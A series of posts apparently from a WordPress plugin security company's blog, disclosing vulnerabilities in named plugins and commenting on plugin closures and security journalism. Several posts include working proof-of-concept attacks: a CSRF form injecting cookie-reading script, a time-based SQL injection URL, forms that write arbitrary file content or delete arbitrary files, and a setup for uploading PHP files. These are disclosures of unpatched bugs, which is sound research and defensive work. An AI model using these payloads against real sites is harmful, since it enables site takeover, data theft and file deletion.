07 Feb

Another One of the 1,000 Most Popular WordPress Plugins Contains a CSRF/XSS Vulnerability

Among the many things we do to provide our customers with the best data on vulnerabilities in any WordPress plugins they use is that we keep track of any of the 1,000 most popular plugins being closed on the WordPress Plugin Directory in case that might be due to a security vulnerability. Yesterday one of those plugins, Logo Carousel, which has 40,000+ active installations according to wordpress.org, was closed. No reason has been given for that closure so far, but in just our quick check over the plugin we found a security vulnerability that could have led to it being removed, that being a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability when saving the settings for one of the plugin’s carousels.

That is the same type of issue we found when another one of the 1,000 most popular plugins was closed three weeks ago, so if these vulnerabilities were not responsible for the disclosures, it would appear that there may be larger problem with this type of issue that is going under noticed even in the most popular plugins. That type of issue is something we have longed check for during security reviews of plugins, which we both do as part of our main service and as a separate service, so if you are interested in making sure plugins you use are secured against that and other security issues we offer a solution.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

The plugin registers an admin page named Manage Carousels to be accessible to those with “manage_options” capability (which normally only Administrators have), which when accessed causes the function admin_pages_manage_carousels() to run:

236
237
238
239
240
241
242
243
244
245
function admin_pages() {
	add_submenu_page(
		'edit.php?post_type=kwlogos',
		__('Manage Carousels', 'kiwi-logo-carousel'),
		__('Manage Carousels', 'kiwi-logo-carousel'),
		'manage_options',
		'kwlogos_settings',
		array( $this, 'admin_pages_manage_carousels' )
	);
}

When that function, which is located in the file /kiwi_logo_carousel_admin.php, runs, if the POST input “submit” is set then a carousel’s settings will be changed to the values sent with the request without sanitizing them:

261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
if (isset($_POST['submit'])) {
	$default = $this->default_values;
	$parameters = array();
	$parameters['mode'] = $this->rdie($_POST['klc_mode'], $default['mode']);
	$parameters['speed'] = $this->rdie($_POST['klc_speed'], $default['speed']);
	$parameters['slideMargin'] = $this->rdie($_POST['klc_slidemargin'], $default['slideMargin']);
	$parameters['infiniteLoop'] = $this->rdie($_POST['klc_infiniteloop'], $default['infiniteLoop']);
	$parameters['hideControlOnEnd'] = $this->rdie($_POST['klc_hidecontrolonend'], $default['hideControlOnEnd']);
	$parameters['captions'] = $this->rdie($_POST['klc_captions'], $default['captions']);
	$parameters['ticker'] = $this->rdie($_POST['klc_ticker'], $default['ticker']);
	$parameters['tickerHover'] = $this->rdie($_POST['klc_tickerhover'], $default['tickerHover']);
	$parameters['adaptiveHeight'] = $this->rdie($_POST['klc_adaptiveheight'], $default['adaptiveHeight']);
	$parameters['responsive'] = $this->rdie($_POST['klc_responsive'], $default['responsive']);
	$parameters['pager'] = $this->rdie($_POST['klc_pager'], $default['pager']);
	$parameters['controls'] = $this->rdie($_POST['klc_controls'], $default['controls']);
	$parameters['minSlides'] = $this->rdie($_POST['klc_minslides'], $default['minSlides']);
	$parameters['maxSlides'] = $this->rdie($_POST['klc_maxslides'], $default['maxSlides']);
	$parameters['moveSlides'] = $this->rdie($_POST['klc_moveslides'], $default['moveSlides']);
	$parameters['slideWidth'] = $this->rdie($_POST['klc_slidewidth'], $default['slideWidth']);
	$parameters['auto'] = $this->rdie($_POST['klc_auto'], $default['auto']);
	$parameters['pause'] = $this->rdie($_POST['klc_pause'], $default['pause']);
	$parameters['klco_style'] = $this->rdie($_POST['klco_style'], $default['klco_style']);
	$parameters['klco_orderby'] = $this->rdie($_POST['klco_orderby'], $default['klco_orderby']);
	$parameters['klco_clickablelogos'] = $this->rdie($_POST['klco_clickablelogos'], $default['klco_clickablelogos']);
	$parameters['klco_alignment'] = $this->rdie($_POST['klco_alignment'], $default['klco_alignment']);
	$parameters['klco_height'] = $this->rdie($_POST['klco_height'], $default['klco_height']);
	$parameters = serialize($parameters);
	update_option( 'kiwiLGCRSL_'.$carousel, $parameters );

There should be a check for a valid nonce to prevent cross-site request forgery (CSRF) before changing the carousel’s settings.

The values are then output on the same page (they also could be output on frontend pages) without being escaped on lines like this one:

312
<td><input name="klc_speed" type="number" value="<?php if (isset($p['speed'])) {echo $p['speed'];} ?>"/></td>

That permits malicious JavaScript code set to one of the settings to be output, which is cross-site scripting (XSS).

Proof of Concept

The following proof of concept will cause any available cookies to be shown in an alert box on the page /wp-admin/edit.php?post_type=kwlogos&page=kwlogos_settings, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/edit.php?post_type=kwlogos&page=kwlogos_settings" method="POST">
<input type="hidden" name="klc_speed" value='"><script>alert(document.cookie);</script>' />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
05 Feb

WordPress Team Helping to Introduce Remote Code Execution (RCE) Vulnerability on to Thousands of Websites

When do a lot to improve the security of WordPress websites through the work we do on the security of WordPress plugins for our service (in all likelihood we do more than all the other security companies with a WordPress focus combined). Unfortunately what we have found is that people on the WordPress side of things seem more interested in covering up problems related to the security of plugins (and promoting security companies that are making WordPress websites less secure) than actually working with others, like us, to improve them.

In response to part of that problematic behavior, we started full disclosing vulnerabilities in WordPress plugins until such time that the moderators on the WordPress Support Forum stopped acting inappropriately. Through that on January 11 we full disclosed a remote code execution (RCE) vulnerability that has been introduced in to the plugin MailPress, which was closed on the Plugin Directory at the time. We spotted that vulnerability through our proactive monitoring of changes being made to WordPress plugins to try to catch serious vulnerabilities when they are introduced in to plugins. As part of our full disclosure process we tried to notify the developer of the issue through the WordPress Support Forum, but that message got deleted by the moderators. You might think that while deleting that they would at least make sure that something was done about the vulnerability, but as we already said, they and others on the WordPress side of things are more interested in covering up problems than fixing them.

Then last week the plugin was reopened on the Plugin Directory with the RCE vulnerability still there. The plugin has 3,000+ active installations according to wordpress.org and those websites are now being prompted to update to a new version that will introduce that vulnerability on to their website.

That shouldn’t have happened, not just because the WordPress team was aware of the issue through our message on the Support Forum about the vulnerability, but because the vulnerability is also able to be picked up by our Plugin Security Checker, an automated tool for identifying some possible security issues in plugins. What we have noted in the past is that the team running the Plugin Directory is failing to catch serious vulnerabilities during their supposed manual security review of new plugins and we have offered them to provide the free access to the more advanced mode of our Plugin Security Checker, to avoid that. If they had taken advantage of that and checked the plugin before it was reopened (it looks like it had been closed due to another security issue) they would have been warned about the possibility of the vulnerability:

Until such time that the Matt Mullenweg or someone else at the top of WordPress is able to act like an adult and clean up the mess that is the WordPress team (much of the problem is caused by Samuel “Otto” Wood, who is a direct employee of Matt’s), these problems are likely to continue. In the meantime our service can help to ameliorate the damage, as if you were using service and this plugin you would be have been warned about this vulnerability already, so you wouldn’t be unaware of the security risk that WordPress is okay with introducing on to your website.

04 Feb

Vulnerability Details: Reflected XSS in WP Support Plus Responsive Ticket System

This Vulnerability Details post about a vulnerability in the plugin WP Support Plus Responsive Ticket System provides the details of a vulnerability we didn't discover and access to it is limited to customers of our service, unlike the posts on vulnerabilities we have discovered, which are freely available and give you an idea of what information is provided in the details posts as well.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, you can sign up here. There are a lot of other reason that you will want to sign up beyond access to posts like this one, including that you would have already been warned about this vulnerability if your website was vulnerable due to it.

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

04 Feb

The WordPress REST API Opening Up New Front for Security Vulnerabilities in WordPress Plugins

When it comes to the causes of security vulnerabilities in WordPress plugins we haven’t seen something truly new for some time, so that makes something we recently started seeing a pickup of, notable. That being vulnerabilities that are exploitable through WordPress’ REST API. The vulnerabilities are not caused by the REST API, but increasing usage of it in plugins is making more code accessible through it that isn’t properly secured. The API was introduced in WordPress 4.4, which was released back in December, 2015, so this comes with a bit of delay (maybe because developers were waiting till there was wide adoption of WordPress versions that supported it).

Right now we are continuing to evaluate how to respond to this in terms of things like our Plugin Security Checker and in the security reviews we do of plugins. For the latter, we are going to starting doing some checking over this type of code during upcoming reviews to get a better idea of what is going on, before considering official adding any checks related to it our reviews.

A vulnerability we happened to run across seems to show a good example of how usage of the REST API can exacerbates security problems.

While starting to check over code in the plugin Accessibility Suite by Online ADA due something it being flagged by our proactive monitoring of changes made to WordPress plugins in the Plugin Directory to try to catch serious vulnerabilities we happened across this line of code with a SQL statement that wasn’t properly secured with a prepared statement:

55
$results = $wpdb->get_results("SELECT * FROM $table_name WHERE SCANID = $scan_id");

There are two variables in that, which if they included user input, could lead to a SQL injection vulnerability.

The first, $table_name, doesn’t include user input, so it isn’t an issue:

53
$table_name = $wpdb->prefix . "oada_scans";

The other variable comes from a value passed to the function that code is in:

46
static function get_scan_data($scan_id)

That function is called in three locations and all of them pass user input as the value.

One of those is in the function guideline_csv() in the file /includes/rest_routes/csv-routes.php:

17
18
19
function guideline_csv($request)
{
    $scan_data = Helper::get_scan_data($_GET["scan_id"]);

That function in turn is register to run through the REST API:

8
9
10
11
12
13
14
15
add_action( 'rest_api_init', __NAMESPACE__ .'\\csv_guideline_download' );
function csv_guideline_download() {
   register_rest_route( 'ada-plugin/v1', "/guidelinecsv", array(
       'methods'  => 'GET',
       'callback' => __NAMESPACE__.'\\guideline_csv'
 
   ) );
}

That registration allows anyone to access guideline_csv() and pass user input that leads to SQL injection by making a request to /wp-json/ada-plugin/v1/pagecsv.

Seeing as the legitimate usage of that functionality is accessed through the plugin’s Scan Results page in the admin area of WordPress, it doesn’t seem like it would be intended to be accessed by those not logged in. The SQL injection vulnerability is exploitable directory through Scan Results page as well, but access to that is limited to users logged in with the Editor and Administrator roles. So the insecure usage of the REST API made the situation worse, though the SQL injection vulnerability should have been avoided even if it existed by properly securing the SQL statement (which is something that we already check for in our security reviews).

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Proof of Concept

With the following proof of concept it will take varying amounts of time for the page to load depending on how long you specify MySQL sleep function to run.

Make sure to replace “[path to WordPress]” with the location of WordPress, “[scan id]” with the ID of scan report, and “[sleep time]” with how many seconds you want sleep to occur for.

http://[path to WordPress]/wp-json/ada-plugin/v1/pagecsv?scan_id=[scan id] AND SLEEP([sleep time])
04 Feb

Our Proactive Monitoring Caught a Restricted File Upload Vulnerability in Accessibility Suite by Online ADA 

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that we caught a restricted file upload vulnerability in the plugin Accessibility Suite by Online ADA that would allow an attacker to write arbitrary content to file on the website. The file has a .png extension, so the vulnerability could be directly used to upload image the attacker wanted, it could also be combined with a local file inclusion (LFI) vulnerability to cause arbitrary code to run on the website.

Since our Plugin Security Checker checks for the same type of code, it will alert you if plugins you use possibly contain the same type vulnerable code (and possibly contain more serious vulnerable code). From there if you are a paying customer of our service you can suggest/vote for it to receive a security review that will check over that or you can order the same type of review separately.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

The plugin makes the function save_snapshot() accessible through WordPress’ AJAX functionality to those logged in to WordPress as well as those not logged in:

400
401
add_action("wp_ajax__oadaas__save_snapshot", __NAMESPACE__ . '\\save_snapshot');
add_action("wp_ajax_nopriv__oadaas__save_snapshot", __NAMESPACE__ . '\\save_snapshot');

It looks like it is only intended to be accessed by those logged in to WordPress though.

The function, which is located in the file /includes/ajax_functions/core.php, takes the value of POST input “b64”, base64 decodes and then saves it as the contents of the file /wp-content/uploads/oadaas/snapshot.png:

402
403
404
405
406
407
408
409
function save_snapshot()
{
	if (!isset($_POST["b64"])) return;
	$image_b64 = base64_decode($_POST["b64"]);
	$file = wp_upload_dir()["basedir"] . "/oadaas/snapshot.png";
	$result = file_put_contents($file, $image_b64);
 
	echo wp_upload_dir()["baseurl"] . "/oadaas/snapshot.png";

Proof of Concept

The following proof of concept will write the specified content to the file /wp-content/uploads/oadaas/snapshot.png.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[base64 encoded content]” with the base64 encoded version of the content of the file.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=_oadaas__save_snapshot" method="POST" >
<input type="hidden" name="b64" value="[base64 encoded content]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
01 Feb

Closures of Very Popular WordPress Plugins, Week of February 1

While we already are far ahead of other companies in keeping up with vulnerabilities in WordPress plugins (amazingly that isn’t an exaggeration), in looking in to how we could get even better we noticed that in a recent instance were a vulnerability was exploited in a plugin, we probably could have warned our customers about the vulnerability even sooner if we had looked at the plugin when it was first closed on the Plugin Directory instead of when the vulnerability was fixed (though as far as we are aware the exploitation started after we had warned our customers of the fix). So we are now monitoring to see if any of the 1,000 most popular plugins are closed on the Plugin Directory and then seeing if it looks like that was due to a vulnerability.

This week six of these plugins were closed and two of them has been reopened.

Export Users to CSV

Export Users to CSV, which has 30,000+ active installations, was closed on Monday. No reason has been given for the closure. There is a publicly disclosed vulnerability in the latest version, thought that was disclosed back in August (we warned our customers of that at the time), so either the WordPress team is way behind, which is entirely possible considering that we were the only ones that were actually making sure that known vulnerable plugins didn’t remain in the Plugin Directory until we suspended doing that, or there is some other reason for the removal. In looking over the plugin we didn’t find any obvious additional security issues.

Slider by 10Web

Slider by 10Web, which has 70,000+ active installations, was closed on Wednesday. That was due to a vulnerability we disclosed the day before. The plugin was reopened on Friday.

WP Instagram Widget

WP Instagram Widget, which has 200,000+ active installations, was closed on Wednesday.  The developer has responded to questions about the closure with this:

It was removed without my consent unfortunately and it will not be re-instated to the .org repository due to the approach the plugin uses for obtaining data.

In looking over the plugin we didn’t find any obvious security issues.

Sidekick

Sidekick, which has 80,000+ active installations, was closed on Wednesday.  No reason has been given for the closure. In looking over the plugin we didn’t find any obvious security issues.

Meta Box

Meta Box, which has 300,000+ active installations, was closed on Thursday. That was due to a vulnerability we disclosed the same day.  The plugin was reopened on Friday. In doing the standard security checks we do with these closed plugins we found that there is an additional vulnerability in the plugin.

Instagram Slider Widget

Instagram Slider Widget, which has 100,000+ active installations, was closed on Thursday.  The developer has written that they were told that it was removed due to:

Your plugin is scraping Instagram for content.

In looking over the plugin we didn’t find any obvious security issues.

01 Feb

Not Really a WordPress Plugin Vulnerability, Week of February 1

In reviewing reports of vulnerabilities in WordPress plugins we often find that there are reports for things that don’t appear to be vulnerabilities. For more problematic reports we release posts detailing why the vulnerability reports are false, but there have been a lot of that we haven’t felt rose to that level. In particular are items that are not outright false, just the issue is probably more accurately described as a bug. For those that don’t rise to level of getting their own post we now place them in a weekly post when we come across them.

SQL Injection Vulnerability in Add Code To Head, All-in-One WP Migration, Diamond MultiSite Widgets, Smush, and Yeloni Exit Popup

Related reports of SQL injection vulnerabilities in Add Code To Head, All-in-One WP MigrationDiamond MultiSite WidgetsSmush, and Yeloni Exit Popup appears to come from someone that has no idea what a SQL injection vulnerability is. As an example, take the plugin Add Code To Head, where they claim that there is this vulnerability in the file add-code-to-head.php despite there being no SQL statements in that file and the GET parameter “id” that is supposed to be utilized as part of this, isn’t used. What they are claiming proves that there is an issue is the following, which they refer to as a “SQL Database Error”:

Fatal error: Uncaught Error: Call to undefined function wp_die() in
/home/tramhaltevenlo/public_html/wp-content/plugins/upsite_analytics_plugin
/uninstall.php:9 Stack trace: #0 {main} thrown in /home/tramhaltevenlo/public_html
/wp-content/plugins/upsite_analytics_plugin/uninstall.php on line 9

That is actually an error indicating that a function doesn’t exist, which occurs because the file is not intended to be accessed directly and the code is trying to access a function that would exist if that file was loaded by WordPress. That type of error message would not normally be shown due to the display of errors being disabled by default, but if that were an issue, it would impact the core WordPress software as well.

01 Feb

Now-Secret Owner of Threatpost, Kasperky Lab, Apparently Fired Editor For Retweet of Article About Owner’s Ties to Russian Intelligence

One of the big roadblocks we see to improving the security of WordPress websites (as well website security and security more broadly) is the really poor state of security journalism. Among the many issues that have created that situation seems to be the ownership of security journalism outlets by security companies, seeing as good security journalism would at this time consist of a lot of critical coverage of the poor state of the security industry (to put it lightly) and for various reasons that is less likely to happen when security journalists work for security companies or may be working for them in the future.

One such outlet is the Threatpost, which was until October 2017 publicly owned by the Russian security company Kaspersky Lab (here is homepage on October 20, 2017 with the footer reading “The Kaspersky Lab Security News Service” and here is it on October 25, 2017 with that gone). Both before and after that happened the Threatpost was promoted as “an independent news site”, despite that seeming to not be an accurate description.

So what happened in October 2017 that might have led to the removal of any mention of Kaspersky Lab owning the Threatpost? As we mentioned before, it didn’t appear that this was due to them no longer being connected. There is something else that did happen in October 2017, described in May 2018 Motherboard article “Who’s Afraid of Kaspersky?” thusly:

Tensions between the US government and Kaspersky Lab were first reported in mid-2017, but they ratcheted up in October, when The New York Times and The Wall Street Journal dropped a bombshell. In 2015, Israeli government hackers broke into Kaspersky Lab servers, an incident the company acknowledged but downplayed by saying no sensitive data was stolen. But according to the new reports, the hackers watched in real-time as Russian spies used Kaspersky Lab’s antivirus to scan for classified and sensitive US government documents, and then stole some.

We came across that article when we went looking again to see if anyone else has discussed the ownership issue and the hiding of it. Buried a bit in the search results we found that article based on the following mention of the connection deep in to the article:

Eugene and the company were not happy about the story. So much so that Paul Roberts, then an editor of Threatpost, a cybersecurity blog fully funded by Kaspersky Lab, told me he was fired for retweeting the story from the publication’s official Twitter account. The order from Moscow, Roberts told me, was not to acknowledge or respond to the piece. (Eugene Kaspersky said that Threatpost is an “independent team” over which the company has “no editorial authority.”)

That seems to confirm that Kaspersky Lab continued to own the outlet post removal of the notice of that on the website.

If what is claimed there is true it makes the “independent” claim look even more ridiculous.

The story referenced in that quote was a Wired article “Russia’s Top Cyber Sleuth Foils US Spies, Helps Kremlin Pals“.

What else is mentioned about the Wired article seems fairly troubling as well:

Kaspersky, holding a glass of what looked like vodka, took a step back, paused, and grimaced. “You know,” he said, “I think Symantec paid for that article.” When I asked him again about this encounter for this article, Kaspersky said he did not remember that conversation, “but Symantec paying for an article to hurt us seems quite improbable to me.”

The Kaspersky referenced there is Eugene Kaspersky, the CEO of Kaspersky Lab. Having a security news outlet run by a security company with a view matching his first statement should raise serious questions about their journalism.

What is outside of our focus, though seems like it should be the focus of additional inquire is that you have a major US based security news outlet that is secretly owned by a Russian company that has ties to Russian intelligence claimed by the US government (other governments have similar concerns) that led to among other things, Twitter blocking them from advertising.

01 Feb

Full Disclosure of Authenticated Arbitrary File Deletion Vulnerability in WordPress Plugin with 300,000+ Installs

Yesterday we full disclosed an authenticated arbitrary file upload vulnerability in the WordPress plugin Meta Box, which has 300,000+, that we had spotted as it was introduced in to the plugin. Subsequent to that the plugin was closed on the Plugin Directory and that got flagged as part of our monitoring for the closure of any of the 1,000 most popular WordPress plugins (it has been a busy week for that, as six of them have been removed). When those plugins get closed we do a few quick security checks over the plugins to see if there might be any obvious security issue in the plugins, which we should be warning our customers about, even if that didn’t lead to the closure. In this case we knew why the plugin was closed, but we did those checks anyway, which led to us finding the plugin also contains an authenticated arbitrary file deletion vulnerability. That vulnerability looks like it was connected to the change that also introduced the authenticated arbitrary file upload vulnerability.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

The plugin registers the function ajax_delete_file() to be accessible through WordPress’ AJAX functionality to anyone logged in to WordPress:

36
add_action( 'wp_ajax_rwmb_delete_file', array( __CLASS__, 'ajax_delete_file' ) );

The relevant code in the function, which is located /inc/fields/file.php, is as follows in the latest version of the plugin:

49
50
51
52
53
54
55
56
57
58
public static function ajax_delete_file() {
	$field_id = filter_input( INPUT_POST, 'field_id', FILTER_SANITIZE_STRING );
	check_ajax_referer( "rwmb-delete-file_{$field_id}" );
 
	$attachment = filter_input( INPUT_POST, 'attachment_id' );
	if ( is_numeric( $attachment ) ) {
		$result = wp_delete_attachment( $attachment );
	} else {
		$path = str_replace( home_url( '/' ), ABSPATH . '/', $attachment );
		$result = unlink( $path );

That will check for a valid nonce to prevent cross-site request forgery (CSRF) and then will delete an arbitrary file if the POST input “attachment_id” specifies a value like “http://example.com/test.txt”.

The value for a valid nonce can normally be accessed by users with the Contributor role or above if the File meta box is being used, as can been seen with the Proof of Concept below.

Oddly, the AJAX deletion functionality doesn’t appear to even being used.

Proof of Concept

Add the following code to the active theme’s functions.php:

function your_prefix_get_meta_box( $meta_boxes ) {
	$prefix = 'prefix-';
 
	$meta_boxes[] = array(
		'id' => 'untitled',
		'title' => esc_html__( 'Untitled Metabox', 'metabox-online-generator' ),
		'post_types' => array('post', 'page' ),
		'context' => 'advanced',
		'priority' => 'default',
		'autosave' => 'false',
		'fields' => array(
			array(
				'id' => $prefix . 'file_1',
				'type' => 'file',
				'name' => esc_html__( 'File', 'metabox-online-generator' ),
				'mime_type' => '',
			),
		),
	);
 
	return $meta_boxes;
}
add_filter( 'rwmb_meta_boxes', 'your_prefix_get_meta_box' );

Then the following proof of concept will delete the file test.txt in the root directory of the website, when logged in as a Contributor.

Make sure to replace “[path to WordPress]” with the location of WordPress, “[field ID]” with the value of the “data-field_id” on the page to create a new post, and “[nonce]” with the value of “data-force_delete” on the same page.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=rwmb_delete_file" method="POST" >
<input type="hidden" name="field_id" value="[field ID]" />
<input type="hidden" name="_ajax_nonce" value="[nonce]" />
<input type="hidden" name="attachment_id" value="http://[path to WordPress]/test.txt" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
31 Jan

Our Proactive Monitoring Caught an Authenticated Arbitrary File Upload Vulnerability Being Introduced in to a WordPress Plugin with 300,000+ Installs

With our proactive monitoring of changes made to WordPress plugins in the Plugin Directory to try to catch serious vulnerabilities we use software to flag potentially issues (you can check plugins in the same way using our Plugin Security Checker) and then we manually to check over the code. The second part of that can take a substantial amount of time, as while sometimes the code that runs before the potentially vulnerable code is limited and tightly woven, often it isn’t. That was the case with the code that leads to an authenticated arbitrary file upload vulnerability we found had being introduced in the plugin Meta Box, which has 300,000+ installs according to wordpress.org.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

One of the changelog entries for version 4.16.0 of the plugin, which was released yesterday, is:

New feature: allow users to upload files to custom folders in file field.

That sounds like a minor change, but it has a big security impact it turns out.

Part of the change related to that was to add the function handle_upload_custom_dir() in the file /inc/fields/file.php. That will save arbitrary files to the website without any restrictions:

443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
public static function handle_upload_custom_dir( $file_id, $post_id, $field ) {
	// @codingStandardsIgnoreStart
	if ( ! isset( $_FILES[ $file_id ] ) ) {
		return;
	}
	$file = $_FILES[ $file_id ];
	if ( UPLOAD_ERR_OK !== $file['error'] || ! $file['tmp_name'] ) {
		return;
	}
	// @codingStandardsIgnoreEnd
 
	if ( ! file_exists( $field['upload_dir'] ) ) {
		wp_mkdir_p( $field['upload_dir'] );
	}
	if ( ! is_dir( $field['upload_dir'] ) || ! is_writable( $field['upload_dir'] ) ) {
		return;
	}
 
	$file_name = wp_unique_filename( $field['upload_dir'], basename( $file['name'] ) );
	$path      = trailingslashit( $field['upload_dir'] ) . $file_name;
	move_uploaded_file( $file['tmp_name'], $path );

That function will run when the function handle_upload() runs if “$field[‘upload_dir’]” exists, though as you can see that value gets passed from somewhere else:

262
263
protected static function handle_upload( $file_id, $post_id, $field ) {
	return $field['upload_dir'] ? self::handle_upload_custom_dir( $file_id, $post_id, $field ) : media_handle_upload( $file_id, $post_id );

That function in turn gets run by the function view():

212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
public static function value( $new, $old, $post_id, $field ) {
	$input = $field['file_input_name'];
 
	// @codingStandardsIgnoreLine
	if ( empty( $_FILES[ $input ] ) ) {
		return $new;
	}
 
	$new = array_filter( (array) $new );
 
	// Non-cloneable field.
	if ( ! $field['clone'] ) {
		$count = self::transform( $input );
		for ( $i = 0; $i &lt;= $count; $i ++ ) {
			$attachment = self::handle_upload( "{$input}_{$i}", $post_id, $field );

When we came to that we had to change tracks try to figure how the vulnerable code would run, which required gaining an understanding of the plugin main functionality. Once we did that we found that a vulnerability existed.

The plugin provides an online generator for creating a new meta box that will be shown on the page to create a post or page. So a WordPress user at the Contributor level and above normally could access that meta box. If you create a meta box with a “HTML Image” input and set a custom folder for the uploads to be stored, the code above will run. With that, you can upload a .php file instead of an image as no checking of the file is done, as the proof of concept below shows.

Interestingly just a week ago someone brought up a concern that something like this might be possible, but at the time it doesn’t look like it was due it relying on WordPress code for handling the upload.

Proof of Concept

Add the following code to the active theme’s functions.php and add a .php file when creating a post as a user with the Contributor.

function your_prefix_get_meta_box( $meta_boxes ) {
	$prefix = 'prefix-';
 
	$meta_boxes[] = array(
		'id' => 'untitled',
		'title' => esc_html__( 'Untitled Metabox', 'metabox-online-generator' ),
		'post_types' => array('post', 'page' ),
		'context' => 'advanced',
		'priority' => 'default',
		'autosave' => 'false',
		'fields' => array(
			array(
				'id' => $prefix . 'image_1',
				'type' => 'image',
				'name' => esc_html__( 'Image Upload', 'metabox-online-generator' ),
				'upload_dir' => '../',
			),
		),
	);
 
	return $meta_boxes;
}
add_filter( 'rwmb_meta_boxes', 'your_prefix_get_meta_box' );